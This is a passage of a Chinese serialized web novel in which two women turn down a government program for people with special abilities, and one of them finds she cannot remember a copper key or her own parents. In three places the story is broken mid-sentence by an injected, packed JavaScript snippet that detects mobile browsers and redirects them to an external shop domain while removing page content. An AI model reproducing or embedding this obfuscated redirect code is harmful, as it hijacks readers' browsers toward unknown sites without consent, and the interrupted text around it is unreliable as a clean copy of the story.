“国家方面已经在和我们这些退役兵对接了,或许过不了多久,我就要归队了。在此之前,一切我能帮上忙的地方,请尽管说。”他走到门口,忽然停下来,回头看着她们。 “不论如何,我会尽力,”他说,“你们也是。” …… 官方的动作果然很快,第二天傍晚,林知晓和温枝刚从防空洞出来,走到路口,一辆黑色商务车缓缓停在她们面前。 车门打开,下来一个人。 是王警官。 他没穿制服,穿着一件灰色夹克,表情比之前复杂得多。 “上车吧。”他说,“上面有人想见你们。” 林知晓没动。 王警官看着她,沉默了两秒。 “我不是来抓你们的。”他说,“我就是个传话的。去不去,你们自己决定。” 他顿了顿。 “但我觉得,你们应该去。” 她们相互望了一眼,跟着王警官坐上了一辆黑色商务车。 黑色商务车在暮色里穿行。 林知晓坐在后排,左边是温枝,右边是那个穿灰色夹克的王警官。前排两个人,司机和副驾驶上的女人——就是刚才站在车旁的那个,四五十岁,短发,戴着眼镜,从她们上车到现在一句话都没说。 车里很安静。只有空调出风口的轻微风声。 林知晓侧过脸看窗外。路是往城东方向开的。已经过了封锁线——不知道什么时候过的,她没注意。现在窗外是空荡荡的街道,沿街的店铺全关着门,偶尔能看见穿防护服的人站在路口。 温枝的手攥着她的手腕,攥得很紧。 车停在一栋楼前面。 不是医院,也不是政府大楼。是一栋老旧的办公楼,门口没有牌子,只有两个穿制服的人站着。 副驾驶的女人终于开口:“到了。” 她推开车门,先下去。王警官看了林知晓一眼,没说话,也跟着下去。 林知晓和温枝对视一眼。 下车。 女人带着她们往里走。穿过一条走廊,拐了两个弯,停在一扇门前。她敲了敲门。 “进来吧。” 女人的声音从里面传出来。 推开门。 房间不大,一张办公桌,几把椅子,墙上挂着一张城东区的地图。地图上标着密密麻麻的红点。 办公桌后面坐着一个人。 四五十岁,短发,戴着眼镜——和带她们进来的女人长得一模一样。 14. 铜钥匙 “他叫陈星。”她说,“一个半月前,发现自己能感知到别人的情绪。” 年轻人朝她们点了点头,有点腼腆。 周筠又走到角落里的女孩旁边。 “她叫顾小雨。二十天前,发现自己能够实现在一定条件下的精确追踪。” 女孩抬起头,看了她们一眼,然后又低下头。 周筠走回办公桌前。 “他们现在帮我们做事。”她说,“查人、审讯、监控——有些场合,他们的能力很有用。” 她顿了顿。 “你们愿意的话,也可以。” 林知晓看着她。 “周组长,”她说,“您这是在招人?” 周筠愣了一下,然后笑了。 “算是吧。”她说,“但招的不是普通员工。” 温枝思考片刻,突然问:“周组长,可以劳烦他们给我们展示一下能力吗?” 周筠听罢,轻笑出声,“当然可以。” “小陈,你试试。”她又转头看向没说话的温枝,“温女士,你可以试着在心里想一下能够激起你强烈情绪的事情。” 温枝轻轻阖上眼,脑中闪过许多片段。 “温女士现在感到痛苦、绝望,还有……恨。” 陈星的声音像一盆冷水,把她从回忆里泼醒。 温枝猛地打了个冷战。 她刚刚想到的是上辈子付成瑾和江黎黎看着她掉入丧尸潮而无动于衷的画面。 是真的。 她看向林知晓,微微点头。 林知晓的目光再次落到角落蹲着的女孩身上。 周筠顺着她的目光看去,随后轻轻唤道:“小雨,帮个忙。” 女孩没动。 周筠第二次喊她的时候,她终于动了。 “告诉我你要找什么,描述它的特征,越详细越好,以及……给我一个与它接触过的物品。”顾小雨的声音带着些许少年人的沙哑。 林知晓在口袋里掏了掏,掏出一串钥匙。 “这个行吗?”她把钥匙串递到女孩面前,“我的钥匙串上原本有一把铜制钥匙,上面贴着‘05’的标签纸,你知道它现在在哪里吗?” 顾小雨接过钥匙串,没有看,只是握在手里。 她闭上眼睛。 房间里安静了几秒。 然后她的眉头皱了起来。 又过了几秒,她睁开眼,看着林知晓。 “找不到。” 林知晓愣了一下。 “什么意思?” 顾小雨把钥匙串还给她。 “那把钥匙,不在常规空间里。”她说,“我只能追踪到……它在一个很暗的地方。周围全是金属,很多金属。但它不在我能追踪到的任何位置。” 林知晓站在原地,脑子里有什么东西轻轻动了一下。 很轻,但她注意到了。 周筠开口:“小雨,你再试试。” 顾小雨摇头。 “试多少次都一样。”她看着林知晓,“你确定它丢了吗?” 林知晓张了张嘴,想说“确定”,但话到嘴边忽然顿住了。 她确定吗? 她低头看着手里的钥匙串。一共六把钥匙。大门、防盗门、卧室、书房、储藏室、还有一个……空的钥匙环。 那个环上应该有一把铜钥匙。 她的记忆力一向不错。 她记得自己把它从钥匙串上取下来过。什么时候?为什么? 林知晓的眉头皱了起来。 她想不起来。 温枝注意到她的表情:“怎么了?” 林知晓没回答。她盯着那个空钥匙环,努力回忆。 铜钥匙。贴纸“05”。她把它取下来了。然后……然后放到哪里了?床头柜?书桌抽屉?还是…… 她忽然想起一件事。 她不记得这把钥匙是哪里来的。 林知晓的手指蜷了一下。 她在这间房子里住了两年。每一把钥匙她都记得来历。大门钥匙是租房时房东给的。防盗门是后来自己换的。卧室、书房、储藏室,都是配的。 但铜钥匙呢? 她什么时候有的这把钥匙?从谁手里拿到的?用来开什么锁? 林知晓站在原地,后背慢慢渗出冷汗。 她不知道。 她完全不记得。 “林知晓?”温枝的声音把她拉回来。 林知晓抬起头,看着顾小雨。 “你刚才说,”她的声音有点紧,“它在一个很暗的地方,周围全是金属?” 顾小雨点头。 “很多金属。”她说,“像是……柜子?或者箱子?很多很多,摞在一起。但那把钥匙不在里面。它在别的地方。我只能感觉到它存在,但找不到具体位置。” 她顿了顿。 “好像隔着什么东西。” 林知晓站在原地,脑子里乱成一团。 隔着什么东西。 周筠关切地问:“难道是小雨的能力出问题了?” “试试其他的吧。”周篁提议道。 林知晓深吸一口气,点点头,又从口袋里翻出了自己的手机,说:“这个,我的手机上本来有个棕色的小熊挂件,前几天被我取下来了。” 顾小雨再次沉默地接过手机,闭上眼。 一秒。两秒。三秒。 她睁开眼。 “在你家玄关储物柜的第二格里。” 看见紧接着便林知晓瞪大眼睛,她知道了——“我的能力没出问题。” 女孩的声音如同在林知晓脑袋里炸响。 林知晓愣在原地。 铜钥匙……到底是怎么回事? 她脑子里闪过温枝说过的话——“我见过你”“很眼熟”。闪过那些她自己都觉得诡异的熟悉感,闪过那些记不清的细节。 她还想问点什么,但顾小雨没有给她继续提问的机会,又缩回角落当蘑菇了。 温枝感觉到林知晓的状态不对,低声问:“那个钥匙有什么问题吗?” “……我不知道。”林知晓的脑子里依然是一片空白。 周篁也注意到了,开口问:“方便说吗?” 而此时的林知晓只能摇摇头,“抱歉,我现在自己都没太搞清楚。” 她闭了闭眼睛,长吐一口气。 “我们继续吧。” 周筠和周篁虽然心有疑虑,但终究还是没追问,只是拉过椅子坐下。 “首先我需要了解的是,你们通过各种方式希望被官方注意到,现在你们被注意到了。然后呢?你们想怎么样?” 林知晓从刚才的状态中挣脱出来,沉默了几秒。 “周组长,”她说,“您能不能先告诉我,您到底知道多少?” 周筠看着她。 “我知道的不多,大部分都是公共系统可以查到的东西。” 她顿了顿。 “剩下的,我猜的。” 林知晓看着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324005|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “猜的?” “对。”周筠说,“我猜你们知道一些事。我猜你们有特殊能力。我猜你们想用这些能力做点什么。” 她往后一靠。 “猜对了多少?” 林知晓没说话。 周筠微微笑着,似乎在认真等待她的回答。 温枝忽然开口:“周组长,您昨天说已经听说过边知予?” 周筠转头看她。 “是的。”她说,“我们现在对‘末世’的大部分定义都来自传闻中她的‘梦’,当然,我还没来得及去正式询问她——她父母坚持她只是得了精神疾病,不愿意让我们见。” 她话锋一转。 “这些不够。”她说,“我们的信息源,太少了。我们无法证实他们说的是否是真话,哪怕他们主观认为是真话,也无法避免出现错误。所以……我们需要你们的消息。” 她的唇角牵了起来,身上的锐利感减轻了不少。 “你们有你们想做的事。我们有我们要做的事。我希望我们能互利互惠,合作共赢。” 她顿了顿。 “但前提是,你们做的事,不能危害公共安全。” 林知晓看着她。 这个人说话的方式,和昨晚不太一样了。昨晚更像是是试探,是威慑。今天是——谈判。 “周组长,”林知晓说,“您说的合作,具体指什么?” 周筠走回办公桌,从抽屉里拿出一份文件,推到她面前。 “这是初步方案。”她说,“你们可以看看。” 林知晓接过来,翻开。 文件不长,只有几页。但她看了几行,手指就顿住了。 第一行写着:关于吸纳林知晓、温枝同志加入国家特殊人才储备计划的建议。 林知晓抬起头。 周筠看着她,表情没什么变化。 林知晓低下头,继续看。 后面是具体的条款—— 纳入国家特殊人才库,享受正式编制待遇。统一调配,统一管理。需要时服从安排,不需要时正常生活。有专项补贴,有优先保障,有撤离资格。 一切听起来都很好。 除了最后一条:如有特殊任务需求,须服从组织安排。 林知晓把文件合上,放在桌上。 “周组长,”她说,“我想再深入了解一些。” “什么?” “这个‘特殊人才储备计划’,”林知晓说,“加入之后,我们还是我们吗?” 周筠的眉头几不可见地微微蹙起。 “什么意思?” “意思就是,”林知晓说,“我们做的事,还能自己决定吗?” 周筠沉默了几秒。 “原则上,”她说,“需要服从统一安排。” 林知晓点点头。 她把文件推了回去。 “周组长,”她说,“这个,我们加不了。” 周筠的眉毛微微动了一下。 “为什么?” 林知晓想了想,开口:“周组长,您刚才说,我们希望被注意到。” 周筠微微颔首。 “我们是希望被注意到。”林知晓说,“因为我们想活下来。也想让更多的人活下来。” 她顿了顿。 “但我们不是想被管起来。” 周筠看着她,没说话。 林知晓继续说:“您给的条件很好。真的很好。但很抱歉,最后一条,我们接受不了。” 15. 招揽 周筠看着那沓纸,沉默了几秒。 然后她抬起头。 “林女士,”她说,“你知道现在外面是什么情况吗?” 林知晓没说话。 周筠站起来,走到墙边,拉开窗帘。窗外是灰蒙蒙的天,远处能看见几栋居民楼,再远一点,是城东的方向。 “感染者已经增加到十一个。”她说,“不是七个。是十一个。昨天又新增了四个。” 她转过身。 “我们不知道这东西怎么传播。空气?接触?还是别的什么?不知道。隔离区越扩越大,恐慌已经开始蔓延。网上有人在传‘丧尸’,有人在传‘生化危机’。我们压得住今天,压不住明天。” 她走回办公桌前。 “林女士,我不是在吓你。我只是在告诉你——情况比你想象的严重。” 林知晓看着她们,说:“我知道。” 她看着周筠,目光平静。 “但是我们有自己的计划。有自己的节奏。有自己想保护的人。如果我们加入这个计划,万一哪天组织说‘你们得去别的地方’,我们怎么办?” 周筠沉默了片刻。 “林女士,”她说,“你是觉得,我们会不顾你们的意愿?” 林知晓看着她。 “周组长,”她说,“您刚才说,如果需要,得服从安排。” 周筠没说话。 林知晓说:“我不怀疑组织的善意。但善意和命令,是两回事。” 房间里安静了几秒。 温枝在旁边轻轻开口:“周组长,我们能换一种方式吗?” 周筠转头看她。 “什么方式?” “您需要信息,我们可以提供。”温枝说,“您需要帮忙,我们可以在力所能及的范围内帮。但我们不想被编进去。” 她顿了顿。 “我们想保持独立。” 周筠看着她们,沉默了很久。 然后她靠回椅背上,叹了口气。 “林女士,温女士,”她说,“你们知道你们在拒绝什么吗?” 林知晓笑了笑。 “知道。”她说,“很好的待遇。很好的保障。很好的机会。” “但我们还是想自己来。” 周筠看着她。 “你们就不怕,拒绝了之后,我们收回那些保障?” “周组长,”林知晓说,“您会吗?” 周筠沉默地与林知晓对望。 “您刚才说,您需要的是合作。不是审问。” 她顿了顿。 “合作,是双方都愿意。不是一方说了算。” 周筠盯着她,眼神有点复杂。 她站起来,依然没说话,气氛陷入微妙的僵局。 林知晓被她盯得浑身发毛,但硬是没有移开目光。 “林女士,”周筠说,“你的意思,我知道了。” 她拿起那份文件,放回抽屉。 “你们的诉求,我会反映给上面。” 她顿了顿。 “但我刚才说的那些保障——物资合法性、防空洞备案、优先撤离资格——这些,我可以在职权范围内先给你们落实。” 林知晓愣了一下。 周筠看着她。 “林女士,我干这行也快十年了。我看得出来,你们不是坏人。你们做的事,也不只是为了自己。” 她双手撑着桌面,往前倾了倾身。 “所以,保障先给你们。条件,你们再考虑考虑。” 她从抽屉里拿出另一张纸,推到林知晓面前。 “这是我的私人号码。如果你们改变想法,随时找我。” 林知晓低头看了一眼。 周筠,市疾控中心应急处置组,下面是一串数字。 她抬起头,看着周筠。 “周组长,”她说,“您就这么相信我们?” 周筠笑了笑,“谈判的时候,展现自己的诚意很重要。” 她站起来。 “今天就到这里吧。小陈会送你们出去。” 她走到门口,拉开门。 林知晓和温枝站起来,跟着那个戴眼镜的年轻人往外走。 走到门口,林知晓忽然停下来。 “周组长。” 周筠回过头。 “谢谢。”林知晓说。 周筠愣了一下,然后笑了。 “不用谢。”她说,“我相信,我们的目标是相同的。” 她顿了顿。 “对了,帮我和明朝打个招呼……我们也许久没共事了。” 林知晓的脚步顿住。 她回过头,看着周筠。 周筠的表情没什么变化,只是微微扬起嘴角。 “不过,很快我们应该就会再次成为同事了。”她笑了笑,说,“当然,我也期待着能和你们共事。” 门关上了。 走廊里很安静。 陈星走在前面,带着她们往外走。 温枝凑到林知晓耳边,用气声说:“她认识明朝?” 林知晓没有明确回应,只是微眯着眼轻轻摇头。 她脑子里还在想周筠刚才那句话—— “帮我和明朝打个招呼。我们也许久没见了。” 还有那句“很快我们应该就会再次成为同事”。 什么意思? 林知晓想起他说的“家里的人脉”,想起他说的“以前的战友”。 周筠说的“以前的战友”,指的是这个吗? 林知晓沉吟片刻,也用气音回她:“我们回去找明朝聊聊吧。” 不过,现在的情况已经比她们预想的好很多,周筠此人,虽然看起来强势,却也保持着某种微妙的平衡。 很快,陈星把她们送到门口,没多问,只是指了指门口载着她们过来的那辆黑色商务车:“车送你们回去。周组长安排的。” 林知晓愣了一下,然后点点头。 车上还是那两个人——司机和副驾驶上的女人。一路上没人说话。温枝靠在她肩上,大概是累了,闭着眼睛没动。 林知晓看着窗外。路灯亮起来,一辆接一辆往后退。她脑子里反复回想着这两天和周筠的谈判内容。 她没什么谈判经验,每句话都得小心翼翼。 边知予的事,是确认官方已经知道,温枝才主动提的——底牌不能全亮。 她得想清楚,怎么在集体利益和个人存活之间找到平衡。活不下来,什么都帮不了。 车停在小区门口。 林知晓把温枝摇醒,两个人下车,走进楼道。 电梯里只有她们两个。 温枝终于开口:“我们……怎么问?” 林知晓想了想,只答道:“先看看他什么态度吧。” 温枝点点头。 电梯到了。 她们走出来,林知晓看了一眼对面的门。紧闭着,门缝里没透出光。 她们先回了一趟家。趁这个空档,林知晓把自己可能放置铜钥匙的地方里里外外都翻了一遍。 没有任何发现。就像它从未出现过一般。 而现在,她依然没有恢复除自己拥有这把钥匙以外的任何记忆。 她瘫坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324006|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上。 一股令她浑身刺挠的痒意从心底蔓延,似乎她离真相只有一层窗户纸,却怎么也戳不破。 林知晓脑内有灵感一闪而过,一骨碌从地上爬了起来,对还在帮她一起找东西的温枝说:“走吧,先去找明朝。” 两人走到邻居家门口站定。 门依然紧闭着。 林知晓伸手敲了三下。 没人应。 她又敲了三下。 还是没人应。 温枝凑过来:“不在家?” 林知晓正要转身拿出手机给明朝发信息,就听见身后传来一道熟悉的男声。 “你们回来了?” 明朝背着一个户外登山包,看起来风尘仆仆。 他像是知道二人的来意般,什么都没问,径直走到门前,“滴”地一声用指纹按开了门锁。 “先进去吧。” 门在身后关上。 明朝把登山包放在玄关,换鞋,走进客厅。林知晓和温枝跟在后面,在沙发上坐下。 明朝看了她们一眼,没说话,转身进了厨房。很快,他端着三杯茶水走出来,放在茶几上。 他在对面坐下。 沉默了几秒。 “周筠给我发消息了。”他说。 林知晓没说话,等着。 “她说你们拒绝了加入计划,但提了一个方案。”明朝看着她,“提供信息,力所能及地帮忙,不编进去。” 他顿了顿。 “她同意了。” 温枝愣了一下:“她跟你说了这么多?” 明朝点点头。 “我们认识很多年。”他说,“当时我也是临时调派过去,她是我的搭档。” 林知晓的手指蜷了一下。 果然。 “那她说的‘很快成为同事’……”她开口。 “对。”明朝说,“就是那个意思。” 他靠回椅背上。 “我今天下午去的就是地区编队。报到,填表,重新登记。”他顿了顿,“现在算是正式回去了。” 房间里安静了几秒。 温枝问:“那你以后……还住这儿吗?” 明朝看着她。 “住。”他说,“现在的局势还没有恶化到需要我住在部队里的程度,而且我现在的任务多数是需要在外走动的,平时还是正常生活。” 他顿了顿。 “和以前一样。” 林知晓抬眼望了下他,随即点点头。 紧接着,她突然开口:“明朝,你能带我们私下见见周组长身边那位叫做‘顾小雨’的女孩吗?我……有些事情需要弄清楚。” 她以为明朝会问几句,至少会说要先和周筠打个招呼。 但他没有。 “明天我送你们过去。”他说,“周筠那边,你们现在可以随时进出。” 林知晓愣了一下。 “随时?” “对。”明朝的语调平缓,带着让人安定的力量,“她说,保障先给你们,条件你们再考虑。既然是保障,就得用得上。” 他顿了顿。 “以后有什么事,可以直接找她。不用再经过王警官那一层。” 温枝忍不住问:“她为什么对我们这么好?” 明朝看着她。 “因为她需要你们。”他说,“不是需要你们现在做什么。是需要你们——万一有事的时候,能帮上忙。” 他顿了顿。 “还有,她欣赏你们。” 林知晓愣了一下,没反应过来。 “欣赏?” 16. 记忆空白 “周筠说,你们提到了一把钥匙。” 林知晓的手在口袋里攥了攥。 她应该回答吗?周筠刚走,明朝就来问这个——是周筠让他问的,还是他自己想知道? “如果你觉得可以回答的话。”明朝说。 林知晓看着他,沉默了两秒。 然后她掏出钥匙串,指了指那个空钥匙环。 “铜的。”她说得很慢,“贴纸写着‘05’。我不记得从哪来的,也不记得什么时候丢的。” 她没说温枝可以证明。先看看他的反应。 “这也正是我找顾小雨想问清楚的事情。” 明朝盯着那个钥匙环,看了很久。 “顾小雨当时怎么说的?” 她眨眨眼,没回复,先开口问:“你知道她的‘能力’吗?” 对面的明朝愣了下,回复道:“大概知道,今天对接过程中,我们已经基本了解过成员构成了。她的能力是——精确追踪,没错吧?” 林知晓点点头,和自己所知的消息对上了。 “对。”林知晓说,“她拿着我的钥匙串,告诉我——找不到。” 明朝的眉头动了一下。 “找不到?” “她说那把钥匙不在常规空间里。在一个很暗的地方,周围全是金属。但她找不到具体位置,好像隔着什么东西。” 她顿了顿。 “然后她试了我手机上的挂件。一秒就找到了——在我家玄关储物柜第二格。” 明朝沉默了几秒。 “你确定那把钥匙存在过?” 林知晓低头看着那个空钥匙环。 铜钥匙,贴纸“05”。她记得自己把它取下来过。记得那个动作——把钥匙环推开,把那把钥匙滑出来。 但再往前呢? 从哪来的?用来开什么?为什么取下来? 一片空白。 “我记得我取下来过。”她说,“但我不记得为什么取,也不记得放哪了。” 明朝看着她。 “你什么时候发现丢的?” “今天。顾小雨让我拿出一件物品,我的手恰巧在口袋里,摸到了钥匙串的时候。” 温枝轻声开口:“会不会是……普通的健忘?” “应该不是。”林知晓眉头紧蹙,摇了摇头。 不知道有没有特殊能力的加成在,这么多年来,她的记忆几乎从来没有出过问题。况且,她的工作靠的就是细节。 但今天,她却发现脑子里有一块地方,是空的。 “顾小雨找不到那把钥匙,但能找到手机挂件。”明朝开口说,“这说明她的能力没问题。问题出在那把钥匙上。” “林知晓,你最近有没有觉得其他不对劲的地方?” 明朝的面容严肃,语气却是舒缓的,没有增加她的压力。 林知晓看着他,脑子里也在疯狂梳理着自己的记忆。 她今年二十三岁,除了与生俱来的能力给自己的生活加了点奇幻色彩,她的生活其实与常人无异,家庭算得上美满,父母双全。 等等……!父母?她的父母呢? 这么多天来,她居然从未想过把这些事情旁敲侧击地告诉父母,让他们早做准备吗? 为什么她下意识认为,自己只有一个人? 林知晓的手指微微发抖。 父母。 她有父母。 他们叫什么?长什么样?做什么工作的? 她闭上眼,用力想——脑海里浮现出一些模糊的轮廓。一个中年女人的脸,笑容爽朗。一个中年男人的手,宽厚有力。但再细想,那些轮廓就散了,像抓不住的雾。 她转而试着回忆父母的电话号码,或者他们家的地址,但脑子里依旧一片空白。 她能想起来“父母”这个概念。但想不起来具体的人。 林知晓的呼吸变得急促,几乎有种生理性呕吐欲。 她睁开眼,发现明朝靠近过来,正看着她。 “怎么了?” 林知晓张了张嘴,没发出声音。 温枝也凑过来:“林知晓?” 林知晓看着她,忽然问:“温枝,你知道我父母吗?” 温枝愣了一下。 “你……没提过。”她小心翼翼地说,“我以为你不想说。” 林知晓低下头。 她没提过。 她为什么不提? 这两个多月,她和温枝几乎无话不谈——囤货、防空洞、付成瑾、边知予、明朝、周筠……但唯独父母,她一个字都没提过。 就好像……她忘了自己有父母。 就好像……那些人在她的记忆里,从来都不存在。 她慌乱地摸出口袋里的手机,手指颤抖地查询联系人和联系电话,迫切地想要得到一个确定的答案。 但是什么都没有。通讯录里没有,vx里没有,她的相册里也没有发现任何痕迹。 她的手指颤抖到几乎握不住手机,世界好像从某一个角落开始崩塌。 “林知晓。”明朝的声音把她拉回来,“你到底怎么了?” 林知晓强忍住呕吐的欲望,抬起头,透过生理性泛出的泪水看着他。 “我不记得了。”她的声音很轻,像是怕惊动什么,“我不记得我父母是谁。不记得他们长什么样。不记得他们住在哪里。” 她顿了顿。 “我今天才想起来,我原来有父母。” 房间里安静得能听见呼吸声。 温枝的表情变了。她从沙发上坐直,盯着林知晓。 “你……” “我知道这听起来很离谱。”林知晓说,“但我真的……想不起来。” 她看着自己的手。 “我能想起来‘父母’这个词。能想起来我应该有他们。但再往前……” 她摇摇头。 “什么都没有。” 明朝沉默了几秒,然后开口:“你刚才说,顾小雨找不到那把钥匙。” 林知晓抬头看他。 “她说那把钥匙‘不在常规空间里’。”明朝说,“说‘好像隔着什么东西’。” 他顿了顿。 “你的记忆,会不会也‘隔着什么东西’?” 林知晓愣住。 隔着什么东西。 这个词,顾小雨用来形容那把钥匙。现在明朝用来形容她的记忆。 如果记忆也能被“隔开”,那隔开它的是什么?谁隔开的?为什么? 温枝忽然开口:“林知晓,你记得自己是怎么发现那把钥匙丢了的吗?” 林知晓想了想。 “顾小雨问我的时候。”她说,“她说‘你确定它丢了吗’,我低头看钥匙串,发现那个环是空的。然后我开始回忆……然后我发现我想不起来。” 她顿了顿,继续说:“在那之前,我没注意过那个空环,也没思考过铜钥匙的来历。” 温枝和明朝对视了一眼。 明朝说:“所以你是在别人提醒之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324007|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才发现自己丢失这部分记忆的?” 林知晓点点头。 “那在这之前,”明朝问,“你有没有觉得少了什么?” 林知晓沉默了很久。 她回想这两个多月——从认识温枝,到囤货,到遇见边知予,到被周筠约谈。每一天都过得很充实,很紧张,根本没有时间想别的。 但她现在回想起来,确实有一种奇怪的感觉。 像是……她一直在躲避什么。 不是刻意躲避,而是潜意识里绕开某片区域。那片区域里,有“父母”这两个字。 “我不知道。”她最终说,“我只知道,我现在很害怕。” 温枝握住她的手。 林知晓低头看着她握着自己的手。温枝的手很凉,但很用力。 “不管你想起来什么,”温枝说,“我都在这儿。” 林知晓看着她,记忆中那个瘦小的身影渐渐模糊,现在的坚定目光越来越清晰。 明朝站起来。 “明天我送你们去见顾小雨。”他说,“现在,你先休息吧。” 他站起来,目光紧紧锁着她失神的双眼。 “林知晓。” 林知晓抬头,对上他的视线。 明朝没移开目光。 “不管你的记忆出了什么问题,”他说,“在还没弄清楚情况之前,我们先做好现在能做的。” 她把钥匙串和手机收回口袋,另一只手紧紧攥着温枝指尖冰凉的双手。 温枝也用力地回握住她。 林知晓深吸一口气,用力点头,说:“我知道了。” 温枝拉着她站起来:“走吧,先回去睡觉。明天还要去找顾小雨。” 二人告别明朝,径直往外走。 走到走廊,她忽然回头看了一眼明朝家的方向。 门关着。灯还亮着。 ---- 第二天早上,林知晓睁开眼,发现自己和衣躺在床上,连鞋都没脱。昨晚居然就这么躺着睡着了。 她揉了揉有些刺痛的脑袋,掀开被子走出了房间,发现温枝已经在客厅了。 “好点了吗?吃点东西吧?”温枝关切地问。她一手拿着包子吃着,一手指向茶几上热腾腾的瘦肉粥。 林知晓吐了一口浊气,说:“还行。” 她端起瘦肉粥,坐在沙发上一口口吃起来。 吃饭的过程中,二人的手机陆续亮了一下,两条消息。 一条是明朝的,一条是边止礼的。 明朝:起来了吗?需不需要先吃个早饭再走? 边止礼:你们最近有空吗?知予想见见你们,正好我也想找你们商量点事,顺便交换一下情报。 二人对视一眼,随即拿起了桌上的手机。 和明朝是早就约好的,那边止礼呢?这个时候表示要见面,是否和这两天周筠找她们的谈话的事情有关? 林知晓先回了明朝:在吃,吃完就出发。 温枝思忖了一下,也打字回了边止礼:知予还好吗?我们现在的行踪在官方眼皮底下几乎透明,你不介意的话我们这两天可以约个时间。 都得到肯定答复后,她们加快了进食,几分钟吃完了早饭。 走之前,林知晓带上了那串钥匙和玄关处存放的手机挂件。 门打开,她们就看见明朝正站在自家门口,微微低头看着手机,没有催促,只是站在那里等着。 “吃好了?”明朝在门打开的一瞬间就抬起了头,“我们走吧?” 17. 档案 十分钟后,三个人坐上了明朝的车。 车子驶出小区,往城东方向开。 路上没什么话。温枝靠在窗边,垂着头,手一圈圈把玩着自己的长发,不知在想些什么,林知晓看着窗外,一幕幕街景在她眼前闪过。 街道上的人比前几天少了。有人戴着口罩匆匆走过,有人在药店门口排队。网上那些“丧尸”“生化危机”的传言,大概还是起了作用。 道路越来越空旷,经过封锁线的时候,穿防护服的人看了他们的车牌一眼,直接放行。 “他们认识你那个车牌?”林知晓问。 “周筠给的。”明朝说,“以后你们开这辆车,进出不用被拦。” 林知晓坐在后排,看着窗外。 “周筠今天在吗?”温枝问。 “在。”明朝说,“但是她不会参与你们的私下交流。” 林知晓没说话。她盯着窗外,脑子里一片混乱。 那把钥匙。 被遗忘的父母。 那些空白的记忆。 如果顾小雨能找到那把钥匙,能证明它真的存在——那她的记忆就是真的出了问题。 如果顾小雨也找不到…… 那她真的不知道该怎么办了。 车停在昨天那栋楼前面。 明朝带着她们走进去,穿过走廊,拐了几个弯,停在那扇有电子锁的门前。 他输入密码,门开了。 里面还是昨天的样子。几张办公桌,几台电脑,墙上挂着屏幕。 周筠坐在办公桌后面,手里拿着一个文件夹。 “来了?” 顾小雨蹲在角落,手里抱着一袋薯片,看见他们进来,往嘴里塞了一片。 周筠打过招呼后,很自觉地离开了房间,留下她们独处的空间。 林知晓走过去,在她面前蹲下来。 “小雨,”她轻声说,“昨天那把钥匙,你能再帮我找找吗?” 顾小雨抬起头,看着她。 “你找到线索了?” 林知晓摇摇头。 “没有。”她说,“但我需要知道,那把钥匙是不是真的存在。” 顾小雨沉默了几秒。然后把手上的薯片袋子放到一边,拍拍手上的残渣,接过林知晓手上的钥匙串。 她把钥匙串握在手里,闭上眼睛。 林知晓的手自然地搭在她的肩膀上。 她闭着眼睛试了几秒,又面露困惑地睁开眼,盯着那个空钥匙环看了几秒。 林知晓听见她的心声: 「好奇怪,怎么会找不到呢……要不要试试读取‘存在痕迹’?……算了,好麻烦,反正又找不到。」 “不用再试了。”她说,“结果一样。” 林知晓的手顿了一下。 “你确定?” “我的能力不是概率事件。”顾小雨重新拿起薯片,站了起来,“找得到就是找得到,找不到就是找不到。你那把钥匙,不在我能触及的任何位置。” 她看着林知晓。 “你再想想,有没有可能——它本来就不存在?” 林知晓愣了一下。 不存在? 她低头看着那个空钥匙环。她记得自己把它取下来过。记得那个动作,记得那个触感。 但顾小雨问她,是否真的存在。 林知晓沉默了很久,才开口对明朝说:“我这边处理完了,你让周组长进来吧。” 明朝点点头,拿出手机发了条消息。 没一会儿,周筠就带着周篁推门疾步走了进来。 “林女士。”周筠的声音从身后传来。 林知晓回过头。 周筠已经走到她身后,手里拿着那份文件夹。 “我昨晚调了一些东西。”她说,“关于你。” 她把文件夹推到桌边。 林知晓走过去,面色平静地翻开。 第一页是她的档案。姓名,年龄,职业,住址。普通得不能再普通。 第二页是她的租房记录。 她盯着那行字,看了很久。 租期:三年零两个月。 三年零两个月。 林知晓的手指蜷了一下。 她记得自己搬来两年。两年整。房东说过,她是上一任租客搬走之后才来的。 但纸上写的是三年零两个月。 她翻到下一页。 邻居登记表。明朝的名字旁边,备注写着:入住时间,两年零十一个月。 林知晓站在原地,脑子里嗡嗡作响。 两年零十一个月。 明朝比她晚住进来。但她的记忆里,明朝是在她搬来之前就已经在对门了——帮她搬行李,电梯里偶遇,偶尔打招呼。 可如果她搬来三年多…… 她抬起头,看着明朝。 明朝也在看她。 